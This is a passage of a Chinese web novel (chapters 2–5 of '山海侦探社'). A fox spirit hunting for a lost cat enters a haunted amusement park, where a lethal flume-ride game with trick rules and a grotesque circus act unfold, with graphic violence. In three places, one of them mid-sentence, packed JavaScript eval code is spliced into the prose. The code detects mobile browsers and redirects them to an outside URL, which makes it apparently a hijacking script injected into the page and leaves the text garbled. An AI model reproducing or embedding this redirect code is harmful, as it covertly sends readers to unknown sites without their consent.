《山海侦探社》 2. 第 2 章 涂婴:“……” 胡爷:“不愿意干?” 涂婴:“不是。三千块钱,我可以去王阿姨家做猫吗?” 胡爷:“……” 涂婴乐呵呵地拿着小猫的照片应承下来这份差事。兔子宝宝抱着胡萝卜蹦蹦跶跶跑了过来,好奇地看着照片里的小猫,眼神中露出一种胆怯的神情。 涂婴惊呆了:“天不怕地不怕的你还有怕的东西?” 兔子宝宝一脸无辜地看向涂婴:“秋玉宝宝什么时候天不怕地不怕了?” 涂婴:“你连胡爷的屁股都敢咬!” 兔子宝宝:“他欺负涂婴哥哥!” 涂婴看着兔子宝宝那张稚嫩又坚定的小脸,亲昵地揉了揉他的毛茸脑袋:“胡爷那不是欺负哥哥,是在历练哥哥。要没有胡爷,咱们都在喝西北风呢。” 其实这条“食物链”里,兔子并不是兔子,胡萝卜也并不是胡萝卜。 兔子秋玉原本是一只犰狳,生于山海界余峨之山。山海陷落之后流落人间,因为人族有犰狳一出便生蝗灾的说法,于是人人喊打,几度险些丧命。一次偶然的机会涂婴救下了奄奄一息的犰狳宝宝,就与他相依为命,为他起名为秋玉。而胡萝卜老者则根本就不是植物,他原身状如黄囊,赤如丹火,生活在山海界的天山,乃是山神帝江。山海一役帝江受重创,身体勉强能维持老者状态,在与涂婴重逢之后便一直生活在一起。 涂婴与雪绒成亲之后也一直带着这一老一小两个“拖油瓶”。 帝江:“你真要去帮老太太找猫?” 涂婴:“三千块钱呢,干嘛去不?” 帝江:“你上哪找去?” 涂婴一脸自信:“我有‘引鹏’啊!” 引鹏,是一张符咒的名字。 两千多年前,游离到南华山的涂婴困饿交加之际遇到了一位老者,老者亦然困顿,但还是放浪形骸,箕踞鼓盆而歌。老者并没有因为涂婴是一只狐狸而生分别心,而是浊酒粗茶皆分与涂婴一半,还时常为涂婴讲述他没听过的故事。老者告诉涂婴,远在山海之外的极北之境,有地名曰北冥。北冥山川万物皆空游无所依,有鲲鹏翱翔天地。如果有机会,希望涂婴可以去北冥看一看。 后来许久,涂婴才听闻老者之名为庄子,后人称其为南华真人。 分别之际,庄子送给涂婴六张纸,实为六张符咒。其中两张名曰引鹏,可于千里之内识人物气息,寻踪觅迹。 帝江:“你疯了?南华真人的符咒就卖三千块钱?而且你就剩一张引鹏了……” 涂婴看着饿得肚子咕咕叫的秋玉很坚定地点了点头。没有什么值钱的东西可以比身边人更重要。 涂婴为秋玉和帝江煮了两碗面条之后顺着旋转楼梯向下走去,打开地下室的大门,寒气铺面而来。 房间的正中央放置一盘寒玉,玉上仰卧一人,身姿挺拔,白发轻柔垂地,侧颜棱角分明,皮肤白皙胜雪。他静静地沉睡着,不染尘嚣。 “我要出门做事了,”涂婴兀自嘟囔着,并不知道雪绒是否能听得见,但他还是很愿意将自己的生活与雪绒分享。 不知道是千百年来的孤独使然还是本性如此,涂婴在第一次看到雪绒的时候就感觉到了久违的亲切感,像是阔别多年的老友重逢。尽管他们并未见过。 涂婴一边讲着最近的事,一边打了水为雪绒擦拭。胡爷曾说过这是多此一举,毕竟身为上古大神,雪绒并不着一丝尘埃。但涂婴还是愿意每天来为他清洗一下,他喜欢看雪绒那透亮如冰晶的皮肤,那折射着光晕的发丝,他觉得雪绒是至洁的,他既然与雪绒成了亲,就要照顾好他。 “这次出去找猫,可能会离你远一点。不知道会不会有危险,”涂婴迟疑一顿,但还是释然,“但无论如何,我还有秋玉和帝江要养,我不能总在你的庇佑下苟且偷生。” 他的指尖轻轻触到雪绒纤细脚踝处的红绳,那是二人结亲时戴上的信物,涂婴的脚踝处亦有一条。不须玉杵千金聘,已许红绳两足缠(注)。犹红线,缔姻缘,千万年,倏忽间。 “但还是求大佬保佑,毕竟我还要攒钱赎回你的宝石呢!”转头涂婴又变成了笑嘻嘻的样子。 一炷香的功夫,涂婴将雪绒全身擦拭干净,又帮他梳了梳原本就柔顺的银丝,他“呼”了一声起身,俏皮地说了句:“我走啦!拜拜!” 留给沉睡之人的是一个青春阳光的背影,谁也没注意的是,一朵晶莹剔透的雪花于虚空中飘落,安安静静地落在了涂婴的衣兜里。 —— 涂婴从王阿姨家拿到了丢失小猫掉落的毛发,左手捻起引鹏符咒,右手掐上清诀,口中念念有词—— 吹为风,运为雷,嘘为云,呵为雨,引鹏来兮,呼召万灵。 狂风于虚空处横卷而起,吹拂白纱如雪,水晶吊灯发出叮铃铃的狂响。一声震耳却不尖锐的鸣叫声从天际外传来,引鹏符于狂风之中稳稳腾空升起,符咒闪烁,金光四溢。骤然间,符咒的一笔一划开始重新排列,最终换华为光彩夺目的大鹏幻影,昂首向天鸣唳,双翅展如天盖,翅下猎猎生风。 涂婴掐诀轻点眉心,眉宇之间顿生肃穆之气,厉声道:“着!” 大鹏倏然长鸣后翱翔天际,与之共同消失的还有那风中的引鹏咒,和一撮白色猫毛。 涂婴严重闪过一抹耀彩的光辉,他赶快背上书包,出门去了。 万物皆有灵。引鹏咒能大致搜寻到灵物的方位,在涂婴意识中烙下图像,渐渐化为涂婴的潜意识。他跟随着这种潜意识一路小跑,临走前帝江递给他一个双肩包。 没错,一路小跑,他连小黄车都没舍得扫,更别说坐其他交通工具了。涂婴穿过整个繁华的城市,最终来到了一片废墟之地。 黄昏时分,残阳似血,废弃游乐场的牌匾在风中摇曳,发出嘎吱嘎吱的刺耳响声。红油漆印刷的字体早已斑驳,隐隐约约可以看见“XX游乐场”几个字。 —————————— 接近小猫灵力的感觉越来越强烈,涂婴远远看着游乐场中已然断裂的过山车轨道,凹陷下去的碰碰车头,散落一地零件的跳楼机,趴着的干瘪如同人皮的小丑衣服……一种湿冷的凉意攀爬上他的脊背,整个人都不禁打了个寒颤。 那是一种区别于往日遇到邪祟时的寒冷,此时的寒意夹杂着痛苦,不甘,煎熬,更为强烈,更让人胸口发闷。 钱难赚,屎难吃。 残阳如即将枯灭的烛火毫无生气地吊在远山之巅,涂婴咬着牙向游乐场的大门口走去。一股无形的力量却将涂婴狠狠撞了回去。 这是……结界? 涂婴又换了几个方位试图进入游乐场,但都没有成功。可小猫灵力的方位就在游乐场内,难道这结界就是为它所设?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800582|158389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是什么猫?三千块钱,要少了。 涂婴踢着脚下的石子盘算着要不要打道回府。可如果现在放弃了,三千块钱赚不到不说,还搭上了一张引鹏符。 那是最后一张引鹏符了。上次用引鹏,还是很久很久之前的事情了…… 他愣神的间隙,不知不觉间落日无影无踪,钩月挂上如同残手的树梢,天地黑蒙蒙一片。 一阵机器重启的轰隆声打断了涂婴的思绪,转头来电流滋滋,火花四溅,而后游乐场里的霓虹挣扎着亮了起来;小丑像充了气一样从地上艰难爬起,他按了按快要掉了的脑袋,鲜红大嘴咧出鬼魅的笑意,手上还不忘扔起滑稽的彩球;海盗船呼扇呼扇地摆动起来,两条铁柱裂缝处发出“搁楞搁楞”的响声…… 涂婴简直不敢相信自己的眼睛,这样一个看起来废弃多年的游乐场,又开始运转了! 令涂婴更为瞠目结舌的是再回头时售票处已经排起了长队,一个满头白发,身形佝偻的老人穿着不合身的保安服正在售票。 售票……得留好发票,回去找王阿姨报销。 坚决不能从那三千块钱里出。 尽管涂婴着急找猫,但他还是乖乖地跟在队伍后面排队。可排着排着涂婴感觉到了不对劲,每一个排队的人手中都抱着一个小动物,有各式各样的宠物猫狗,也有看起来脏兮兮的流浪动物……每一个小动物在他们手中都呼吸缓慢,蔫头耷拉脑地蜷缩着,看不出有什么生气。 就快要排到涂婴了,他亲眼看见前面的男人将一只奄奄一息的小黑流浪猫交给了售票的老大爷。老大爷看了看小黑猫,喊了一声:“半价票,可玩半场!” 而男人身后的女人却似天生神力,竟然抱着一只肥猪脸不红气不喘。售票大爷看见肥猪之后双眼放光:“通票!可玩全场!猫咖免费!” 猫咖……?难道王阿姨的小猫被送进猫咖做打工猫了? 老大爷看到空手而来的涂婴一愣,问:“你带什么来了?” 涂婴:“花钱买票不行吗?” 老大爷:“不行。我们只要动物。” 涂婴看着脚下的沙砾,指尖捻起一只正在勤劳工作的蚂蚁:“这个行么?” 老大爷:“……滚。” 就在涂婴心灰意冷决定回头的时候,他背上的书包突然动了一下。一个毛茸茸的脑袋挤破拉练,从书包里钻了出来。 是秋玉! 涂婴赶紧把秋玉的脑袋又按了回去,压低了声音质问:“你怎么跟来了?” 秋玉却丝毫没有感受到涂婴的紧张,伸出双手:“涂婴哥哥抱抱!” 抱个头!涂婴试图再把秋玉塞回书包里,怒斥:“你万一被坏人抓取怎么办?把你架在烧烤加上烤,撒上辣椒和孜然!” 奈何秋玉这野性子,只见一个圆滚滚的身影挣脱涂婴的双手,一呲溜就跳到了售票处的台子上了。 老大爷一见这毛茸茸胖乎乎的肥兔子立马喜笑颜开:“兔子一只,可玩半场!” 涂婴伸手阻拦:“哎哎哎,我不进去了。把秋……把兔子还给我。” 老大爷却乐呵呵地将通票塞进了涂婴的手中:“门票一旦售出,概不退换!” 秋玉就这样被装进了一个大筐篓里放在了传送带上,圆乎乎的小脑袋趴在筐沿上还朝着涂婴wink了一下,慢慢向游乐场的方向消失不见。 3. 第 3 章 涂婴拿起通票就匆匆进入了游乐场,祈祷这些小动物只是被送到猫咖去打黑工,而不是被吃掉。涂婴发誓,等他找到秋玉,一定把他那圆滚滚的屁股打肿老高! 涂婴一边走一边喊着秋玉的名字,他试图拉几个人问问这些小动物的下落,但所有人都只是冷漠地摇了摇头,神色木讷,不作回答。 阴风阵阵,整个游乐场透露出一种难以言喻的诡异气氛。涂婴只能看见眼前的几个游乐项目,其他的方位皆被一团团黑雾笼罩着。每一个进入游乐场的人都毫无喜悦之色地排着队,等待着一个又一个项目。而整个游乐场就是一条单行道,也就是说必须一个一个项目玩下去,才能向游乐场深处走去。 涂婴看了眼路旁的地图。游乐场的最深处,就是幸运猫咖。 来到这个游乐场里的人,都不是为了玩乐的。很显然,他们的目的地都是幸运猫咖。 横亘在涂婴最前面的是一片浑浊的水域,融在漆黑的夜色里,看不出水有多深。一条轨道蜿蜒向上而后深入到水池当中,排队处矗立着个大牌子,上面歪歪扭扭写着“浪遏飞舟”四个大字。 也就是其他游乐场中常有的激流勇进。 通往“飞舟”的扶梯笼罩在一圈圈霓虹灯里,灯泡时亮时灭,发出细微的电流声,像喃喃鬼语,逡巡在涂婴耳畔。仔细看脚下的电梯台阶,是由形色各异的动物皮毛做成的,开膛破肚之后剥离皮肉,用绳索穿上头尾,组合成台阶的模样。唯有一双双死不瞑目的眼睛毫无生气地盯着每一个踩在它们身上的人们,充满了无穷无尽的怨气。 涂婴浑身的肌肉都绷紧了起来,不知道秋玉和王阿姨的猫会不会也遭此横祸。 肉眼看着轨道的高度并不高,但身临其境却有百尺危楼的感觉。上“飞舟”的平台于猎猎风中摇晃不稳,然而所有人的衣角和发丝都是垂下的,没有丝毫随风摆动的痕迹。 涂婴低头看去,每一个人,都没有影子。 令涂婴脊背发凉的在于这里的“每一个人”,也包括他自己。 如果假设在场的其他人都不是活物,自然没有影子。可他自己的影子呢? 只有一种可能,那就是这里的光有问题。光看似照亮了所有人,但其实那只是幻象。也就是说,这里的风光电露一切一切,都是幻影。设局者勾画了宏大的场景,却无法设计这些细枝末节。 这个游乐场,到底是什么? “飞舟”上三人一排,涂婴被安排在第一排的中间位置。左右各坐了一男一女,男人瘦高干瘪,穿着白衬衫黑裤子,看起来像是个保险销售员。女人波浪长发,画着精致却惨白的浓妆。 一排座位上,只有一条安全带。 左侧男人眼疾手快地抢到了安全带,系好之后牢牢把住,生怕有人来抢。右面的女人见状扯开大嘴发出了刺耳的尖叫声,许是太过用力的缘故,嘴角都已经裂开了。 “我不要碰到水!我不要碰到水!”女人惊恐不已,双手扯着自己的头发,整个身体扭曲成了世界名画。 男人木然不动,丝毫不在乎女人的争吵。 而坐在中间的涂婴,耳膜都要震碎了。 涂婴对男人说:“我看安全带长度足够,咱们三个挤一挤,完全可以共用。” 男人恍若未闻,双手仍旧牢牢把住安全带,不肯与人分享。 女人继续大喊:“我不要碰这个水!我不要碰这个水!” 涂婴脑仁生疼。他阻止了女人的喊叫,理性地对她说:“我可以帮你抢到安全带,但你必须答应我两个条件。第一个条件,是你不许再在我耳边大喊大叫了。第二个条件等下了船我再和你说。” 女人真的停止了无谓的尖叫,茫然地点了点头。 涂婴看向男人:“我最后问你一次,要不要和我们共用一条安全带?” 男人并不回答,用行动告诉涂婴,他拒绝。 涂婴看着男人那油盐不进的脸:“敬酒不吃吃罚酒。” 涂婴右手掐诀,灵力微微念动,食指一点男人眉心:“定。” 男人惊恐地看着涂婴的一系列动作,最终被定在了座位上动弹不得。 涂婴解开他的安全带,与右面的女人凑到一起绑上了。 广播里响起吊诡的声音: 尊敬的游客您好,欢迎乘坐“浪遏飞舟”。为保证您的游玩质量,请仔细听清以下规则: 1.飞舟真的会飞,请务必系好安全带。 2.飞舟实行淘汰制,只有一半的人能够通关。 3.浪花飞溅,小心别淋湿您的身体。 4.不要相信任何人。 对了,最后提醒您一句,以上规则有一条是假的。祝您游玩愉快。 滴——滴—— 轻微的嘎达一声从底座传来,飞舟缓缓向前驶进。浓重的黑雾再一次从四面八方涌来,裹挟着难以言喻的腥臭味道。 起初的坡度很缓,涂婴右边的女人紧紧握着安全带不松手,紧张地盯着飞舟两侧轻溅起的水花。 涂婴思索起这简单却含糊其辞的规则来。规则里说只有一半的人能够通关,可如果是简单的飞流勇进怎么存在“通关”一说呢?那另外一半人是因为什么被淘汰呢?被淘汰之后会发生什么? 涂婴倏地向右拱了一下,女人纹丝不动,生怕自己被飞溅的水花碰到。而左面的男人被涂婴定住动弹不得,眼神却尽可能向下,看向那片如同深渊一般的池水,满目惊恐。 飞舟继续沿着轨道向上攀爬,所有人都凝神聚气,紧张异常。 身后突然传来一阵嚎叫声,原来坐在后排的三个人已经率先起了内讧,一个身形高大的男人猛地将左右两侧的人高高举起,向飞舟外扔去。 一个身形瘦削的男人在被甩飞瞬间便落了水,似乎来不及挣扎便被吞噬在无边无际的深渊之中。而另外一个稍胖一点的男人则在被举起之后死死拽住了飞舟边缘,然而随着飞舟的行进力有不逮,身体慢慢开始接触黑水。 胖男人发出撕心裂肺的喊叫声,涂婴转头看去,那人的双脚已然融化不见,双腿也在慢慢消失。不知是出于疼痛还是恐惧,胖男人的五官极尽扭曲。飞舟颠簸,浪花翻涌,还未等涂婴回过神来,胖男人的头已经沉没进了无尽深渊。 而飞舟的边缘上只留下一双死死攥住的断手,青筋暴起。 每个人脸上都流露出惊慌失措的神情,然而没有一个人高呼“停下来”。不知是恰巧这一舟的人都过分理性,还是所有人都心知肚明,这飞舟根本停不下来。 咣当——咣当—— 飞舟上升的坡度增大,速度减缓,身体也跟着舒适起来。但坐过激流勇进的人都知道,缓慢行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800583|158389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进之后必然跟着的就是超失重感的急速坠落。 就在飞舟即将行进到制高点的时候,涂婴旁边的女人突然松开了自己腰上的安全带,死死扣在了涂婴的腰上。 平静的水面突然翻涌起无数旋涡,数十条周身灰色鳞甲,满口獠牙,头顶伸出一只微弱荧光的鱼从水中飞出。獠牙稳准地咬住后排座位上几人的脖颈,而鱼鳍则裹挟着水花乱溅。 飞舟上顿时哀嚎起伏,很多人被飞出来的丑鱼咬断了脖子。 女人借着身形娇小向座位下面蹲去,成功躲避了丑鱼的攻击。可就在这生死回寰的凶险境地,她还不忘拉一个人下水。她抬手再次死死按住身旁人的安全带,但眼前的景象竟令她呆若木鸡…… 人呢? 那么大一个人呢? 原本坐在女人身边的涂婴突然不见了,取而代之的是与她同样蜷缩在座位底下的一只身形更小的,通体雪白的狐狸。一双狐狸独有的媚眼正死死盯着她。 女人的诧异被更多跌落深渊的惊叫声所掩盖,丑鱼一一回落水中,飞舟上只留下被咬死的尸骸和在尸骸与座位下苟且躲避了的人。 女人眼睁睁看着方才躲在自己身旁的狐狸幻化成了人形,惊恐之色溢于言表——三分出于见到精怪的错愕,七分则是害怕这精怪会报复自己。她慢慢将身体向侧面移动,巨大的恐惧让她甚至不惜想要跳进水里。 然而涂婴一把将她拽回了飞舟上,不慌不忙地将左侧已经被鱼咬死的男尸挪开,得空还捋了捋被风吹乱的碎发,并没有杀掉女人的意思。 就连神色都沉稳异常,看不出任何波澜。 其实这一切早在涂婴的预料之内。 提示音中说道,有一条规则是假的。如果有且仅有一条是假的,那么相互矛盾的两条里必然有一真一假。规则中说“飞舟会飞,请务必系好安全带”,而每一排座位有三个人,却有且仅有一条安全带,如果想要系好安全带,这三个人就必须无条件配合彼此,这与“不要相信任何人”的规则相矛盾。无论哪一条规则是真,哪一条是假,规则的关键都落在了“安全带”上。 规则中说会有一半的乘客无法通关,这本就与激流勇进这种游戏的本质是相悖的。激流勇进是一种高高举起,快速落下的极限游戏,游戏中的每一个人都会被捆绑在同一条船上,怎么做到一半的人通关,另外一半的人不通关呢?那必然是在快速落下之前发生意想不到的变故。 而飞跳出来的丑鱼,就是变故。在丑鱼咬断第一个人脖子的时候,女人将安全带扣死死扣在涂婴的身上,涂婴就明白了真相——不能相信任何人,要迅速离开安全带。 而女人万万没想到的是,涂婴瞬间化为狐狸原形,身型娇小了不少,很顺利地就从安全带中滑落了出去。 飞舟继续向上挺近,在最高点处晃晃悠悠地停住。周遭的空气异常安静,肉眼看见的世界是混沌一体的,但所有人都屏住了呼吸,因为他们知道,飞舟正蓄势待发,而下落后一切都是未知数…… 滴——滴—— 因为没系安全带,涂婴整个身体被拍在了前面的把手上,仓促之间他甚至来不及去感受剧烈的疼痛,他余光里瞄到了飞舟下的场景,瞳孔骤然锁紧—— 原本暗流涌动的深渊竟然在一瞬间凝结成了厚厚的冰层,而飞舟,马上就要撞冰山了。 4. 第 4 章 刚为幸存下来而舒了口气的身后乘客一个没把住,从飞舟掉落到冰层上,“轰隆”一声巨响传来,血肉飞溅,而冰层岿然不动。 涂婴双手掐左雷右霆之诀,朱唇微动:“万灵之源,净垢神安,形为我化,不得稽延。” 飞舟的钢架传来巨大的颤动声,厚重如同山峦的冰层开始迅速融化瓦解,震动得飞舟开始左右乱晃。 涂婴眉头轻皱,双目凛凛,食指点向冰层方向:“着!” 冰层融化成的黑水一分为二,轰然从中间向两侧翻起巨浪,犹如一把上古兵刃将黑水豁开一道口子,而方才跌落池中的人都满目茫然地站在池底看向飞驰而下的飞舟。那个双手还留在飞舟上的胖子虚弱地坐在池子底部,周身完整无恙,独独缺了一双手。 原来所有人都想错了。游戏规则在最开始就提示了。 如果“请系好安全带”是假规则,那么不系安全带的必然结果就是掉下去,而掉下去就是生还的唯一方式。而剩下的人都会在飞舟之上要么被丑鱼咬死,要么撞冰山而死。 然而涂婴的存在是那个万中无一的变数——他施“寒晶”咒将冰化为水,飞舟没有按照规则设计者预想的那样猛烈撞击,反而稳稳落在了轨道的终点。 所谓“寒晶”,就是水。涂婴是东荒青丘九尾狐族的小太子,乃是涂山氏。千万年前大禹娶涂山氏九尾白狐,因此涂山后人皆有“御水”之能,名唤“寒晶”。寒晶咒可化水为千形万态,昨日里涂婴将浴缸中的水化为霜剑,用的就是寒晶咒。 奈何山海陷落,涂婴这看家本领也只学了个七七八八。再加上灵力受损,这咒法用起来时灵时不灵,能坚持的时间也非常短。涂婴感觉一股力量在疯狂吞噬着他微末的灵力,他迅速起身,拽着身边的女人跑向岸边,一边跑一遍回头喊:“快跑啊,想什么呢!” 然而船上船下人面面相觑,谁也没动弹。船上一共三十三人,除了被丑鱼咬死的7人和掉落冰山上砸死的1人以外,剩下的都生还了。这很显然不符合“有一半人无法通关”的规则。 远处的浓雾没有消散,其他娱乐项目仍旧影影绰绰无法看清,这说明游戏并没有结束。 每个人都心知肚明,必须死上一半的人游戏才能进入下一环节。 方才将两个邻居扔下水的男人最先动手了,他大喝一声,仍旧将目标锁定在失去了双手的胖子身上。男人没有武器,但肌肉精壮,胖子本就失去双手体力不支,在男人拳拳到肉的击打下很快就七窍流血咽了气。 男人被横肉挤得只剩一条缝的小眼睛扫试了全场,此时此刻,他像是整个角斗场中主宰生杀大权的神。 没有人愿意招惹男人,而游戏又必须继续。所有人都明白,为今之计只有让自己在人数减半之前苟活下来。而最好的办法,就是先杀掉那些孱弱的。 一瞬间,数十道射光灯多点齐发,黑水不再受涂婴的控制,而是腾空而起,最终化为一面墙一样的显示器。显示器上赫然写着一个数字——24 这是场上还活着的人数。 一种诡异跗骨的声音从四面八方传来,像是角斗场上的战歌,又像是死亡面前不可避免的哀乐。 最为壮实的男人抱着肩膀靠在飞舟边缘观战,而其他人中体力稍强的人立即向老弱者发起了进攻。 在生死面前,很难有人有绝对的优势。强势者痛下死手,而弱势者也不可能坐以待毙。人群扭打在一起,乱作一团,哀嚎声此起彼伏。 突然间一声巨响从屏幕后方传来,一束烟花腾空而起,最终在空中绽放出吊诡的深蓝色图案。大屏幕上的数字变成了23。 目光皆落在了池子的角落里,一个瘦骨嶙峋的老人死死咬住一个年轻人的脖子。年轻人已经动弹不得了。 黄泉路上,老少平等。 烟花带来的暂停也如烟花本身一般稍纵即逝,每个人都更加卖力厮杀,毕竟稍有不慎,就会变成大屏幕上减少的数字。而为死亡者绽放的烟花,死亡者却看不见了。 拽着女人的涂婴逃上岸,然而浓重的黑雾如同屏障一般阻挡着,他并不能离场。 女人被涂婴拽着衣领,满眼恐惧地看着涂婴,想逃又逃不掉,只能哀求着:“求求你,别杀我。” “我不杀你。想活命,别说话。”涂婴拽着男人躲到了飞舟后侧的阴影处,尽可能不引起别人的注意。 烟花接二连三的绽放,映照着池子内的一片狼藉,屏幕上的数字也在逐渐减少。 然而就在数字卡在18的时候没有进展了。场上的双方皆是精疲力尽,头破血流之下却没有人有体力要别人的命了。 突然,涂婴目下一凛,手着灵力,将身边的女人甩出了十几米远,最终堪堪落在了池子边缘,后脑着地。 而女人手里的弹簧刀也被甩了出来。 原来女人看数字迟迟不动,心生邪念,试图趁涂婴袭击他。很可惜,这点小动作瞬间就被涂婴识破了。 她满目恐惧地看着一步步走来的涂婴,试图挪动身躯躲避,然而受了重伤的她早已动弹不得。 涂婴灵力受损,与邪祟交手多年缕在下风,但并不代表他手无缚鸡之力。相反,他格外重视体能的训练,面对女人这样的凡夫俗子,涂婴还是拥有绝对的优势的。 “我几次救了你,你为什么总要杀我?”涂婴慢慢靠近,居高临下地睥睨着瘫卧着的女人。 女人咬着嘴唇摇着头,不敢回答。 “虽然这个游乐场里没有工作人员,但门口是有安检机的。”涂婴俯下身子,凑近女人,“你是怎么把弹簧刀带进来的?” 女人抽噎着,仍旧不肯回答。 就在这时,一个黑影突然窜了过来,那人捡起被女人甩飞的弹簧刀,用尽全身力气扑向了涂婴。涂婴手上稍一着力,便将来人甩了出去。 烟花再次绽放,大屏幕上的数字霍然变成了17。 涂婴转头回看女人,冷哼着问:“杀了我,你就能通关了吗?” “从最开始我就意识到一个问题,我们三人一排,前后十一排,一共也就是三十三人。一半的人不能通关,可三十三人,怎么算一半的人?16.5?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800584|158389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 涂婴的话犹如刮骨刀一般磨得女人脊背发凉。 场上厮杀的人们也逐渐意识到了这个问题,那半个人是什么意思? 就在这时,水做的屏幕开始融化,最终化为一把利剑的形状,如迅雷之势直冲向那个体格最强的男人。 一阵哀嚎声凄厉传来,所有人都屏住了呼吸。再回过神时,发现那强壮的男人已被利剑腰斩,残留的上半身混着黑水与血腥正艰难地向岸上爬去。 留下两道黑黢黢黏糊糊的印迹。 “他原本不必这么惨的。”涂婴唏嘘,“那个失去双手的人本来就可以算作半个人了,可他偏偏要赶尽杀绝。” 嗜杀者必然死在屠刀之下。 黑水消失不见,飞舟也变成了破烂的残旧模样。周围的浓雾骤然间散去,前方霓虹闪烁,脸上画着诡异笑容的小丑正在旁若无人的舞蹈,如同鬼影一般在明灭的灯光下影影绰绰。 风中,似乎有桀桀笑声。 一直与涂婴在一起的女人试图开溜,却被涂婴一把拽了回来。 “在飞舟上我们就说好了,你得答应我两个条件。一是不再尖叫,你做到了。第二个,你要回答我,你为什么对规则了如指掌?” 从刚一上飞舟开始,涂婴就觉得身边的这个女人不一般。在被同一排的男人抢走安全带后,她尖叫着喊出来的是“我不要碰到水”,而不是“我不要掉下去”。 那一刻,涂婴就意识到女人对规则是有所了解的。而在丑鱼飞跃出来之后,女人非要将涂婴焊死在安全带里的举动更印证了他的猜测。 而在被涂婴识破之后,女人满目惊恐地试图跳入水中,被涂婴一把拽回。她之所以想要跳水,并不是出于恐惧,而是对规则了如指掌——她知道跳入水中的人才是最终生还的人。 女人已经见识过涂婴的手段,万般无奈之下,她才回答:“是门口售票处的大爷告诉我的。” 涂婴补充:“那把弹簧刀也是他偷偷给你的?” 女人默认。 涂婴:“他为什么答应帮你?” 女人:“除了门票之外,我还送给他一只小猫。” 就连游乐场的售票大爷也受贿……为什么这里交易的货币会是各色小动物? 涂婴:“那接下来游戏的规则呢?” “他只肯告诉我这一个,真的。”女人用恳求的眼神看着涂婴,似乎极力证明自己并没有说谎。 涂婴将信将疑,原本青春洋溢的脸上努力做出严肃的神情,“你知道我有得是手段,你最好识相点。” 女人点头如捣蒜:“我知道,我知道。我都告诉你了。” 再逼问下去也没有意义,身后如同大马戏帐篷的建筑物已经打开了大门,广播催促着—— “想要游玩‘清梦星河’剧场的游客请迅速入场,五分钟后大门即将关闭。” 女人不再理会涂婴,转头跑向帐篷之内。 而刚刚被腰斩了的壮汉用已经血肉模糊的上半身也艰难地爬进了帐篷里。 涂婴思量片刻之后,跟着进去了。 5. 第 5 章 随着涂婴进入到室内,大门吱呀一声关闭。 算上涂婴,一共有7个,不,确切地说是6个半人走了进来。 长发波□□,瘦高眼镜男,佝偻老者,肥胖小学生,精英男,半截男人。 半截男人匍匐在地,他挣扎着爬到瘦高眼镜男的脚边,试图用黑乎乎的脏手去触碰眼镜男的裤脚,却被眼镜男嫌弃地踹开了。 涂婴也不理解为什么方才通关的人没有全部进入帐篷内,或许是方才的劫后余生让人心生胆怯了,但看着那被腰斩了的半截男人坚定的模样,涂婴心生疑窦——闯关成功后到底能得到什么让他如此执着?这个人为什么被腰斩之后还不会死? 突然,耀眼的闪光灯从四面八方闪烁着,晃得人头晕目眩。一个火圈突然从涂婴的正前方快速袭来,就在火苗即将舔舐涂婴那白皙的肌肤时,火圈却突然转了方向,稳稳当当立在了剧场的中央。 那里悄然升起一方舞台。 耀眼的灯光停止,所有的焦点都落在那悬空的火圈上。 一个身穿蓬蓬裙,扎着两个小辫子,脸上画着诡异又浓重的油彩,脖子上带着镣铐,看起来不到一岁大的女婴不知从何处窜了出来,以一种近乎不可能的速度向火圈爬了过去。 火舌肆虐,灼得人双瞳猩红。可女婴却丝毫没有畏惧,她快速爬上了火圈旁的铁架子,小小的手向前伸去,身躯一跃,从骇人的火圈之中钻了过去,稳稳当当地落在了对面的铁架子上。 尖叫喝彩声突然从四面八方传来,再回头时,7个人已经分散坐在了众多观众之中,就连半截男人也被安置在了一个轮椅上。很容易就能找到这7个人,因为其他的观众,全部都是穿着人类衣服的动物。 涂婴身边的犀牛穿着并不合身的西装,顶着巨大的角,凑到涂婴身边嗅了嗅,撇嘴说了句:“真丑,真丑。” 随后嫌恶地向右凑了凑,还不忘和旁边的动物蛐蛐了两句。 一个巨大的黑影笼罩在台上女婴的身侧,女婴咧着嘴,谄媚地爬到黑影身边,最终将小脑袋凑近到一只巨大的带着黑亮毛发的大手上。 女婴吃掉了手上的小零食,乖巧地坐在架子上。而黑毛大手揉了揉女婴被烫卷的头发,以作鼓励。 随后大手给女孩脖子的镣铐上拴上铁链子,拖追着她从铁架子上爬了下来。追光灯偶尔照亮那巨大的身影,原来那是一只硕大的棕熊。 剧场里响起欢乐却怪诞的乐曲,灯光再次闪烁起来,剧场里的景致也慢慢浮现出来。 